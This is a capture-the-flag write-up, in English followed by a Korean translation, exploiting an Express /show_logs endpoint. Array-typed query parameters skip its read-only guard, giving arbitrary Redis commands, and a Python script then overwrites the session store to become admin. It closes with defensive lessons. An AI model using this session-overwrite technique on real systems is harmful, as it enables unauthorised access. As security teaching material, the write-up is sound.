The Goal

/flag only talks to admins, and sessions live in Redis via connect-redis:

app.get('/flag', function(req, res) {
    if (req.session.userid === "admin") {
        res.send(FLAG)
    } else {
        res.send('hello ' + req.session.userid);
    }
});

We can log in as guest, but the db has no route to admin (its password is unknown). We need to promote our own session.

The Weird Log Endpoint

/show_logs proxies a command to Redis, but tries very hard to force it to be a read:

app.get('/show_logs', function(req, res) {
    var log_query = req.query.log_query;
    try {
        log_query = log_query.split('/');
        if (log_query[0].toLowerCase() != 'get') {
            log_query[0] = 'get';                 // force GET
        }
        log_query[1] = log_query.slice(1)
    } catch (err) {
        // swallowed
    }
    try {
        redis_client.send_command(log_query[0], log_query[1], function(err, result) {
            err ? res.send('ERR') : res.send(result);
        })
    } catch (err) {
        res.send('try /show_logs?log_query=get/log_info')
    }
});

send_command(cmd, args) runs any Redis command, but the first try block rewrites log_query[0] to get unless it already is. That guard is the only thing stopping us from issuing SET.

Breaking the Guard with an Array

Express parses ?log_query[0]=set&log_query[1][0]=... into an array/object, not a string. And arrays have no .split(). So the very first line, log_query.split('/'), throws immediately. The exception is swallowed, and the entire GET-forcing block is skipped. log_query reaches send_command exactly as we supplied it.

That hands us arbitrary Redis commands. First confirm with keys *:

http://host/show_logs?log_query[0]=keys&log_query[1][0]=*

Overwriting the Session

connect-redis stores each session as a JSON string under sess:<sid>. Our guest session has "userid":"guest"; we just overwrite it with "userid":"admin" using a SET:

import requests, urllib.parse

domain = "http://host1.dreamhack.games:15602"
s = requests.Session()

# 1) login as guest to obtain connect.sid
s.get(domain + "/login?userid=guest&userpw=guest")
raw = s.cookies.get("connect.sid")               # s%3A<sid>.<sig>
sid = raw.split('.')[0].replace("s%3A", "")
redis_key = f"sess:{sid}"

# 2) SET our session's userid to admin via the array-param bypass
admin_sess = '{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}'
s.get(domain + "/show_logs?"
      "log_query[0]=set&"
      f"log_query[1][0]={urllib.parse.quote(redis_key)}&"
      f"log_query[1][1]={urllib.parse.quote(admin_sess)}")

# 3) our cookie now maps to an admin session
print(s.get(domain + "/flag").text)

Because we edited the session store, our unchanged connect.sid cookie now resolves to userid == "admin", and /flag hands over the flag:

sess:u-G0SXQJmBi_Pb6y5D1CMUCMBHc8l_zA
DH{REDACTED}

Takeaways

Two classic Node footguns combine here. First, Express query parsing lets a client choose the type of a parameter (x[0]=... becomes an array), so any code that assumes a string (.split, .toLowerCase) can be derailed into a thrown-and-swallowed exception that skips a security check. Always validate parameter types. Second, send_command with user-influenced command names is RCE-adjacent: a read-only intent enforced by a fragile if is no defense. Whitelist the exact command, and never let session-store keys be writable through a user-facing proxy.


목표

/flag는 admin에게만 응답하고, 세션은 connect-redis를 통해 Redis에 저장됩니다.

app.get('/flag', function(req, res) {
    if (req.session.userid === "admin") {
        res.send(FLAG)
    } else {
        res.send('hello ' + req.session.userid);
    }
});

guest로는 로그인할 수 있지만 db에는 admin으로 가는 경로가 없습니다(비밀번호를 모름). 우리 세션 자체를 승격시켜야 합니다.

이상한 로그 엔드포인트

/show_logs는 명령을 Redis로 넘기는데, 어떻게든 읽기(GET)로 강제하려 애씁니다.

app.get('/show_logs', function(req, res) {
    var log_query = req.query.log_query;
    try {
        log_query = log_query.split('/');
        if (log_query[0].toLowerCase() != 'get') {
            log_query[0] = 'get';                 // GET 강제
        }
        log_query[1] = log_query.slice(1)
    } catch (err) {
        // 조용히 삼킴
    }
    try {
        redis_client.send_command(log_query[0], log_query[1], function(err, result) {
            err ? res.send('ERR') : res.send(result);
        })
    } catch (err) {
        res.send('try /show_logs?log_query=get/log_info')
    }
});

send_command(cmd, args)는 어떤 Redis 명령이든 실행합니다. 하지만 첫 try 블록이 log_query[0]을 get으로 강제로 바꿔치기합니다. 이 가드가 우리가 SET을 못 쓰게 막는 유일한 장치입니다.

배열로 가드 깨기

Express는 ?log_query[0]=set&log_query[1][0]=...을 문자열이 아니라 배열/객체로 파싱합니다. 그리고 배열에는 .split()이 없습니다. 그래서 첫 줄 log_query.split('/')가 즉시 예외를 던지고, 예외는 삼켜지며, GET 강제 블록 전체가 건너뛰어집니다. log_query는 우리가 준 그대로 send_command에 도달합니다.

이로써 임의 Redis 명령이 손에 들어옵니다. 먼저 keys *로 확인:

http://host/show_logs?log_query[0]=keys&log_query[1][0]=*

세션 덮어쓰기

connect-redis는 각 세션을 sess:<sid> 키에 JSON 문자열로 저장합니다. 우리 guest 세션은 "userid":"guest"인데, 이를 SET으로 "userid":"admin"으로 덮어씁니다.

import requests, urllib.parse

domain = "http://host1.dreamhack.games:15602"
s = requests.Session()

# 1) guest로 로그인해 connect.sid 획득
s.get(domain + "/login?userid=guest&userpw=guest")
raw = s.cookies.get("connect.sid")               # s%3A<sid>.<sig>
sid = raw.split('.')[0].replace("s%3A", "")
redis_key = f"sess:{sid}"

# 2) 배열 파라미터 우회로 세션의 userid를 admin으로 SET
admin_sess = '{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}'
s.get(domain + "/show_logs?"
      "log_query[0]=set&"
      f"log_query[1][0]={urllib.parse.quote(redis_key)}&"
      f"log_query[1][1]={urllib.parse.quote(admin_sess)}")

# 3) 이제 우리 쿠키는 admin 세션에 매핑됨
print(s.get(domain + "/flag").text)

세션 스토어를 직접 고쳤기 때문에, 그대로인 connect.sid 쿠키가 이제 userid == "admin"으로 해석되고 /flag가 플래그를 내줍니다.

sess:u-G0SXQJmBi_Pb6y5D1CMUCMBHc8l_zA
DH{REDACTED}

정리

전형적인 Node 함정 두 개가 겹칩니다. 첫째, Express 쿼리 파싱은 클라이언트가 파라미터의 타입을 고르게 해줍니다(x[0]=...은 배열이 됩니다). 그래서 문자열을 가정한 코드(.split, .toLowerCase)는 던져지고 삼켜지는 예외로 탈선해 보안 검사를 건너뛰게 됩니다. 파라미터 타입은 항상 검증하세요. 둘째, 사용자가 명령 이름에 영향을 주는 send_command는 RCE에 준합니다. 취약한 if 하나로 강제한 읽기 전용 의도는 방어가 아닙니다. 정확한 명령을 화이트리스트하고, 세션 스토어 키가 사용자 대면 프록시를 통해 쓰기 가능해지게 두지 마세요.